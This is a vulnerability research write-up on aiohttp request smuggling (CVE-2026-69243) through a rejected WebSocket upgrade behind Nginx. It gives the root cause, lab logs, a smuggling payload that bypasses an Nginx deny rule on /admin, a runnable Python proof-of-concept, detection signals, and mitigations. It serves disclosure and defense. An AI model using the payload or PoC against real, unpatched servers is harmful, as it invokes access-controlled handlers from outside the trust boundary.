The advisory for CVE-2026-69243 (GHSA-mfx4-hv73-q22v, fixed in aiohttp 3.14.2) described request smuggling “using an edge case in the WebSocket upgrade procedure” and reported no public exploit code. I built a lab to reproduce the parser behavior and determine its impact behind Nginx.
On aiohttp 3.14.1, a request containing Connection: Upgrade, Upgrade: websocket, and a Content-Length body causes the parser to skip the body. await request.read() returns zero bytes, so the handler cannot drain it. If the handler rejects the upgrade, aiohttp feeds the unread body back into the parser as a pipelined request. Behind Nginx’s documented WebSocket map configuration, Nginx logs one request while aiohttp processes two. A smuggled request also bypassed location /admin { deny all; } in the lab. In this topology, the second response is absorbed by the proxy; the demonstrated impact is blind handler invocation, without response disclosure or a measured state change. The same payload produced one backend request on aiohttp 3.14.2. The repository includes Python and Rust PoCs with byte-identical Content-Length payloads enforced in CI.
Root cause: the body that the parser keeps for itself
The bug is a protocol-state error visible in the fix commit (6ae358f). In 3.14.1’s C parser (aiohttp/_http_parser.pyx), when headers complete on an upgrade request, cb_on_headers_complete returns 2, llhttp’s “skip the body” signal, because an upgrade means the rest of the connection is supposed to be another protocol:
# aiohttp/_http_parser.pyx, cb_on_headers_complete (3.14.1, ~line 863)
if pyparser._upgraded or pyparser._cparser.method == cparser.HTTP_CONNECT:
return 2 # skip body: "the rest is WebSocket frames now"
That assumption holds only if the upgrade actually happens. When the application handler rejects the upgrade and returns a normal Response, the connection stays HTTP — but the body bytes were never consumed. They sit in _message_tail, and the protocol layer dutifully feeds the tail back into the parser for the next request cycle:
# aiohttp/web_protocol.py, finish_response() (3.14.1, ~line 768-772)
self._parser.set_upgraded(False)
# ...
messages, upgraded, tail = self._parser.feed_data(self._message_tail)
# _message_tail here is the ENTIRE unread body
If the body is a valid HTTP request, aiohttp processes it as the next request. In the pinned 3.14.1 lab install, this path is at web_protocol.py:459 for data_received and :771 for the tail feed. The fix replaces the eager _upgraded flag with a _pending_upgrade state that becomes an upgrade only after the full body has been read, matching RFC 9110 §7.8.
The practical consequence is that the withheld body is invisible to the application. I ran the vulnerable backend with a handler that explicitly calls await request.read() before rejecting:
[18:47:01.395] REQUEST /ws headers: {Content-Length: 67, Upgrade: websocket}
[18:47:01.397] WS handler: READ_BODY=True, body_consumed=True, body_len=0
Content-Length: 67, and read() returns 0 bytes. The parser withholds the body below the handler layer, so handler-level draining does not mitigate the bug. Patch aiohttp, or strip upgrade headers at the proxy on routes that must not switch protocols.
Lab
The lab uses seven containers (lab repo): three aiohttp backends (3.14.1 without body read, 3.14.1 with request.read(), and 3.14.2), three Nginx frontends, and a Rust attacker. The aiohttp versions are pinned by build argument. Version 3.14.2 receives the same payload, drains the body, and produces one response.
The payload puts the smuggled request inside the upgrade request’s body:
GET /ws HTTP/1.1
Host: backend
Connection: Upgrade
Upgrade: websocket
Content-Length: 62
GET /admin HTTP/1.1
Host: backend
Connection: close
Directly against 3.14.1 this yields two HTTP responses on one connection: the /ws rejection, then the /admin handler’s output. Against 3.14.2, one response. Parser confusion confirmed — but hitting the backend directly is not yet smuggling. CWE-444 needs the two sides of a proxy boundary to disagree.
The split: the canonical WebSocket config is the vulnerable one
I tested three Nginx configurations:
| Nginx config | Upgrade headers forwarded? | Backend sees | Smuggling? |
|---|---|---|---|
WebSocket map snippet | Yes — Connection: upgrade, Upgrade: websocket | 2 requests | Yes |
| Default (no WS config) | No — Nginx sends Connection: close upstream | 1 request | No |
proxy_set_header Connection "" | No — both headers stripped | 1 request | No |
The vulnerable configuration is this one:
map $http_upgrade $connection_upgrade {
default upgrade;
'' close;
}
# ...
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $connection_upgrade;
This snippet appears in Nginx’s WebSocket proxying documentation and forwards the headers that trigger the disagreement in aiohttp 3.14.1. I did not measure how widely the configuration is deployed. With it enabled, Nginx parses one request with a 62-byte body while aiohttp parses two requests:
# Nginx access log — 1 request
172.20.0.8 "GET /ws HTTP/1.1" 200 45 "websocket" "Upgrade" reqlen=163 upstream_status=200
# Backend log — 2 requests
[19:00:01.069] REQUEST /ws {Upgrade: websocket, Connection: upgrade, Content-Length: 62}
[19:00:01.082] REQUEST /admin {Connection: close} ← smuggled
All three configurations log identical lines at the edge, because Nginx logs the client’s headers, not what it forwarded. The split is invisible from the proxy’s perspective.
Impact: bypassing deny all, one-way
To test whether the parser split crossed a security boundary, I added location /admin { deny all; } to the vulnerable Nginx and sent a direct request followed by the smuggling payload:
# Direct request — the edge does its job
GET /admin HTTP/1.1 → HTTP/1.1 403 Forbidden
"GET /admin HTTP/1.1" 403 153 reqlen=83 upstream_status=- ← never proxied
# Smuggled, same minute — the edge never evaluates /admin at all
[19:14:11.790] REQUEST /admin {Host: backend-vuln, Connection: close} ← backend executed it
The smuggled request never passes through Nginx’s location matching — the edge evaluated only the outer /ws. The ACL was not weakened; it was not consulted.
In this topology, the /admin response does not reach the client. Connection: close closes the upstream connection after the second response, after Nginx has completed the outer transaction. The demonstrated impact is blind invocation of an ACL-protected handler from outside the trust boundary. The demo handler returns data without changing state, so the lab does not demonstrate state-changing impact. I did not test other proxy topologies, response desynchronization, or cache poisoning.
Chunked behavior through Nginx and aiohttp
The upstream regression tests cover both Content-Length and chunked bodies, so I tested chunked framing through Nginx and directly against aiohttp.
Through Nginx: Nginx de-chunks the body and forwards a synthesized Content-Length: 62. The backend never sees chunked framing and reaches the same Content-Length parser path.
Directly against aiohttp: the parser leaves the raw chunk framing in the tail, which starts with the hexadecimal chunk-size line:
aiohttp.http_exceptions.BadHttpMethod: 400, message:
Invalid method encountered:
b'3e' ← hex chunk size of the 62-byte smuggled request
In the tested aiohttp parser path, 3e is rejected as an invalid method. The connection resets before the embedded request is processed. The direct primitive demonstrated here is therefore specific to Content-Length; through Nginx, chunked ingress is normalized to Content-Length before it reaches aiohttp.
PoC
Python, stdlib only, copy-paste and run against the lab (python3 poc.py nginx-upgrade 80 backend-vuln):
#!/usr/bin/env python3
"""CVE-2026-69243 PoC — aiohttp request smuggling via rejected WS upgrade."""
import socket, sys, time
def build_payload(host: str) -> bytes:
smuggled = (
f"GET /admin HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"Connection: close\r\n"
f"\r\n"
).encode()
headers = (
f"GET /ws HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"Connection: Upgrade\r\n"
f"Upgrade: websocket\r\n"
f"Content-Length: {len(smuggled)}\r\n"
f"\r\n"
).encode()
return headers + smuggled
def main() -> None:
proxy_host, proxy_port, backend_host = sys.argv[1], int(sys.argv[2]), sys.argv[3]
payload = build_payload(backend_host)
sock = socket.create_connection((proxy_host, proxy_port), timeout=8)
sock.settimeout(3)
sock.sendall(payload)
time.sleep(0.5)
resp = b""
try:
while chunk := sock.recv(4096):
resp += chunk
except (socket.timeout, OSError):
pass
print(resp.decode("utf-8", errors="replace"))
n = resp.count(b"HTTP/1.")
print(f"\nHTTP responses: {n}")
if n == 1 and b"WebSocket upgrade rejected" in resp:
print("[+] Proxy returned 1 response. CWE-444 split is confirmed out-of-band:")
print(" /admin must be in the backend log AND absent from the Nginx access log.")
if __name__ == "__main__":
main()
The wire response cannot distinguish vulnerable and patched backends: both return one rejected-upgrade response through Nginx. Confirm the split by checking that /admin appears in the backend log but not in Nginx’s access log. The Rust implementation uses the same verdict rule, and CI checks that the Python and Rust Content-Length payloads are byte-identical. At the time of writing, use the Python script above or build the Rust version with cargo build --release; the release workflow is configured to publish prebuilt binaries.
Detection
The signals below were checked against the lab logs, including the patched version. They were validated in a two-container topology; production correlation requires additional connection metadata. Treat the queries as starting points.
Cross-layer signals (highest confidence):
- Request-count mismatch, backend > frontend. The backend processing more requests than the edge logged on the same connection is the defining CWE-444 signal. In the lab, the backend logs the Nginx container’s IP while Nginx logs the attacker’s IP, so a
remote_ipjoin matches nothing.X-Forwarded-Fordoes not repair the join: Nginx adds it to the outer request, but the embedded request reaches aiohttp without proxy rewriting, leaving the value absent or attacker-controlled. Reliable correlation requires an upstream connection identifier and request sequence number. The target signal is a second request on the same backend connection without a corresponding frontend request. Client IP with a ±2s window is a weak substitute because NAT, keep-alive reuse, and concurrent workers create legitimate collisions. - Backend path with no matching frontend entry.
/adminin the backend log with no/adminat the edge, same correlation caveats as above. Allowlist specific sources that legitimately bypass the proxy, such as known health-check addresses. Do not filter the whole internal subnet or the proxy address: the smuggled request itself arrives from Nginx and would be discarded with them.
Backend-side signals:
- Rejected upgrade followed by a different request from the same backend peer in ~100ms. A request carrying
Upgrade: websocketthat received a non-101 response, followed by a different path shortly after. In the lab the delta was 13ms. My logger records remote address, path, headers, and time — it does not record remote port or connection ID, so I cannot claim that the requests came from the same connection or that there was no new TCP handshake. Legitimate HTTP/1.1 pipelining, proxy connection reuse, and concurrent clients can produce similar intervals. Medium confidence; use it to rank, not to convict. - Withheld-body middleware. An aiohttp middleware comparing
request.content_lengthwith the bytes returned byrequest.read()detects the parser withholding the body. It fires on 3.14.1 (content_length=62, bytes_read=0), remains quiet on 3.14.2 (content_length=65, bytes_read=65), and fires on the chunked-through-proxy variant after Nginx normalizes it toContent-Length. The middleware detects the condition but does not mitigate it:/adminwas still processed while it was running. It also buffers request bodies in memory. Scope it to WebSocket-candidate routes with anUpgradeheader and a small declared body, and alert only when the final status is not 101.
@web.middleware
async def body_audit_middleware(request, handler):
upgrade = request.headers.get("Upgrade", "").lower()
declared = request.content_length or 0
withheld = 0
if upgrade and 0 < declared <= 8192: # scoped: upgrades, small bodies only
body = await request.read() # cached; handlers re-read for free
withheld = max(0, declared - len(body))
response = await handler(request)
if withheld and response.status != 101: # alert only on rejected upgrades
log(f"BODY_AUDIT ALERT: parser withheld {withheld} bytes "
f"on {request.method} {request.path}; status={response.status}")
return response
Edge-side signal (low confidence):
- Body presence on upgrade requests. In the lab, the header-only baseline was ~100 bytes; the smuggling run logged
reqlen=163, and the chunked variant loggedreqlen=182. Request length is the only edge-side clue when the client sends noContent-Length. Cookies, JWTs, and tracing headers create false positives, so join this with a backend-side signal.
The body_consumed/body_len=0 canary comes from the demo handler. It is not aiohttp telemetry and is useful only for validating the queries in the lab.
Conditions, severity, and fix
Exploitation requires all of: aiohttp < 3.14.2; a frontend that forwards Connection/Upgrade to the backend; an endpoint that rejects WebSocket upgrades while accepting a body; a Content-Length-framed body reaching the backend (chunked works through normalizing proxies); and the body being a complete, valid HTTP request. CVSS 4.0 scores it 6.3 with AC:H, reflecting these deployment conditions. The fix is aiohttp 3.14.2. As an interim mitigation, strip upgrade headers at the proxy on routes that should not upgrade with proxy_set_header Connection ""; aiohttp then reads the body normally and never enters the upgrade path.
I picked this CVE because medium-severity parser bugs are where under-analyzed exploitation lives: everyone races the 9.8s, and the 6.3s sit unread with no public PoC. The AC:H that keeps the score down is the same thing that made it interesting to build — the complexity is the craft.